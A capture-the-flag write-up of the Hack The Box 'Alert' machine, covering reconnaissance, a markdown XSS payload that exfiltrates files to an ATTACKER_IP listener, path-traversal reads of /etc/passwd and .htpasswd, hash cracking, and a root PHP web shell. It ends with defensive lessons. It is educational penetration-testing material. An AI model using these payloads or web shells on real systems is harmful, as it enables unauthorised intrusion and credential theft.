RETIRED MACHINE

ALERT

Machine Writeup · Hack The Box

4.3 ★	Easy	Linux	9,008	8,368	20
RATING	DIFFICULTY	OS	USER OWNS	SYSTEM OWNS	POINTS

MACHINE SYNOPSIS

Alert is an easy-difficulty Linux machine with a web application that uploads and renders markdown files. The site is vulnerable to XSS, which is exploited to access an internal page vulnerable to Arbitrary File Read, obtaining a password hash. After cracking it, SSH access is gained. A PHP file executed by root has excessive group permissions, allowing overwrite and code execution as root.

CONTENTS

01 Reconnaissance & Port Scanning
02 Web Enumeration & Discovery
03 CSRF Exploitation
04 File Disclosure & Credentials
05 Privilege Escalation
06 Lessons Learned

MH

Martí Hervás

Penetration Tester · Hack The Box · 2025

hackthebox.com/machines/alert

01 Reconnaissance & Port Scanning

Before touching the application, a thorough service scan maps the attack surface. Against `10.10.11.44`, Nmap identifies two services: a standard SSH daemon and an Apache web server redirecting to a custom virtual host.

SERVICE SCAN

nmap — initial reconnaissance

```
nmap -sC -sV -vv -oA alert_scan 10.10.11.44

# -sC   Default NSE scripts (banner grab, version hints)
# -sV   Version detection per open port
# -vv   Real-time verbose output
# -oA   Save .nmap / .xml / .gnmap
```

OPEN PORTS

Port	Service	Version	Observation
22 / tcp	SSH	OpenSSH 8.2p1	No known public exploit — low priority
80 / tcp	HTTP	Apache 2.4.41	Redirects → alert.htb (add to /etc/hosts)

REGISTER VIRTUAL HOST

bash

```
echo "10.10.11.44  alert.htb" | sudo tee -a /etc/hosts
```

NOTE DNS resolution for alert.htb must be configured locally before any web interaction. Skipping this step causes all HTTP requests to return a generic Apache default page.

02 Web Enumeration & Discovery

Directory brute-forcing and virtual host enumeration expand the attack surface. The application exposes a markdown renderer — a classic server-side injection surface and the pivot point of the entire attack chain.

DIRECTORY ENUMERATION

gobuster dir

```
gobuster dir \
  -u http://alert.htb \
  -w /usr/share/seclists/Discovery/Web-Content/big.txt \
  -x php -t 25 -o alert_dirs.txt
```

DISCOVERED ENDPOINTS

`/contact.php` → Contact form — CSRF delivery point; triggers admin browser

`/messages.php` → Message viewer — path traversal / arbitrary file read

`/visualizer.php` → Markdown renderer — XSS injection surface

VIRTUAL HOST ENUMERATION

gobuster vhost

```
gobuster vhost --append-domain --domain alert.htb \
  -u http://10.10.11.44 \
  -w /usr/share/seclists/Discovery/DNS/namelist.txt \
  -t 50 -o alert_vhosts.txt
```

WARN statistics.alert.htb discovered — protected by HTTP Basic Authentication. Credentials will be obtained via the file disclosure chain.

03 CSRF Exploitation via Markdown XSS

The markdown renderer executes raw HTML, including script tags. A crafted .md file embedding JavaScript forces the admin's browser to perform authenticated internal requests on our behalf — a textbook CSRF chain exploiting the contact form as the delivery vector.

STEP 1 — START LISTENER ON ATTACKER MACHINE

bash — exfiltration server

```
python3 -m http.server 8000

# Receives exfiltrated file contents encoded in the request URL
# Ensure attacker IP is reachable from the HTB network
```

STEP 2 — CRAFT XSS PAYLOAD IN MARKDOWN

payload.md — XSS + file read + exfiltration

```
<script>
  const url = 'http://alert.htb/messages.php?file=../../../etc/passwd';
  fetch(url)
    .then(r => r.text())
    .then(d => fetch('http://ATTACKER_IP:8000/?x=' + btoa(d)));
</script>
```

The payload fetches the internal file using the admin's active session, then base64-encodes the response and routes it out via a GET request to the attacker's listener. The `no-cors` mode is used for POST requests to sidestep CORS preflight while still triggering the server-side action.

NOTE The application enforces HTTPOnly cookies — direct cookie theft via document.cookie is not possible. The CSRF approach is the correct path precisely because we operate without the session token.

04 File Disclosure & Credential Harvesting

The messages endpoint concatenates the file parameter directly into a filesystem path without sanitisation. Combined with the CSRF chain, this yields arbitrary file read as the web server user — enough to extract the .htpasswd protecting the statistics vhost.

DIRECT FILE READ (PATH TRAVERSAL)

curl — arbitrary file read

```
# Dump /etc/passwd — confirms read access
curl 'http://alert.htb/messages.php?file=../../../../../etc/passwd' -o passwd.txt

# Grab the .htpasswd file (target: statistics.alert.htb credentials)
curl 'http://alert.htb/messages.php?file=../../../../../var/www/html/.htpasswd' \
  -o htpasswd.txt
```

CRACK THE HASH

john the ripper

```
john --wordlist=/usr/share/wordlists/rockyou.txt htpasswd.txt

# John auto-detects Apache MD5 ($apr1$) or bcrypt format
# Recovered credentials → log into statistics.alert.htb
```

WARN Once credentials are cracked, authenticate to statistics.alert.htb and enumerate that surface before jumping to privesc. Internal dashboards often expose service details.

05 Privilege Escalation — Root via Process Abuse

Post-foothold enumeration reveals a PHP monitoring script executed periodically by root. The file sits in a directory writable by the management group — which our compromised user belongs to. Overwriting it with a reverse shell yields code execution as root.

IDENTIFY PRIVILEGED PROCESS

bash — process & permission enumeration

```
ps aux | grep 8080
# → root  ...  apache2 -k start  (port 8080, running as root)

# Confirm writable monitor directory
ls -la /opt/website-monitor/monitors/
# drwxrwxr-x  management management  ← group-writable
```

TUNNEL LOCAL SERVICE VIA SSH

ssh port forwarding

```
ssh -L 8081:localhost:8080 user@alert.htb

# Forwards remote port 8080 → local 8081
# The root-owned Apache instance now accessible at 127.0.0.1:8081
```

DEPLOY PHP WEB SHELL

php web shell — root rce

```
echo '<?php system($_GET["cmd"]); ?>' > /opt/website-monitor/monitors/shell.php

# Execute commands as root through the tunnelled service
curl 'http://127.0.0.1:8081/shell.php?cmd=id'
# uid=0(root) gid=0(root) groups=0(root)

# Grab the root flag
curl 'http://127.0.0.1:8081/shell.php?cmd=cat+/root/root.txt'
```

ROOT OBTAINED — uid=0(root) · System fully compromised

06 Lessons Learned

01 XSS as a Pivot, Not an End Goal

Stored XSS in a markdown renderer is not just a client-side nuisance. Here it became the bridge between the attacker and an internal endpoint only the admin's browser could reach. Always evaluate stored XSS in the context of privileged users.

02 HTTPOnly Does Not Stop CSRF

The HTTPOnly flag correctly blocked cookie theft, but CSRF still succeeded because the browser sends cookies automatically on same-origin requests. The fix is CSRF tokens with server-side validation — not relying on cookie security attributes alone.

03 Group Permissions Are a Privesc Surface

World or group-writable files executed by root are a reliable escalation path. Regular audits of cron jobs, scheduled tasks, and service directories should be part of any hardening checklist.

04 Think in Chains

Each bug alone scored zero. XSS + CSRF + path traversal + weak credential storage + excessive file permissions = root. Developing an attack graph mindset rather than hunting single vulnerabilities is the defining skill of an effective penetration tester.

Writeup authored by Martí Hervás · Hack The Box · Alert Machine · 2025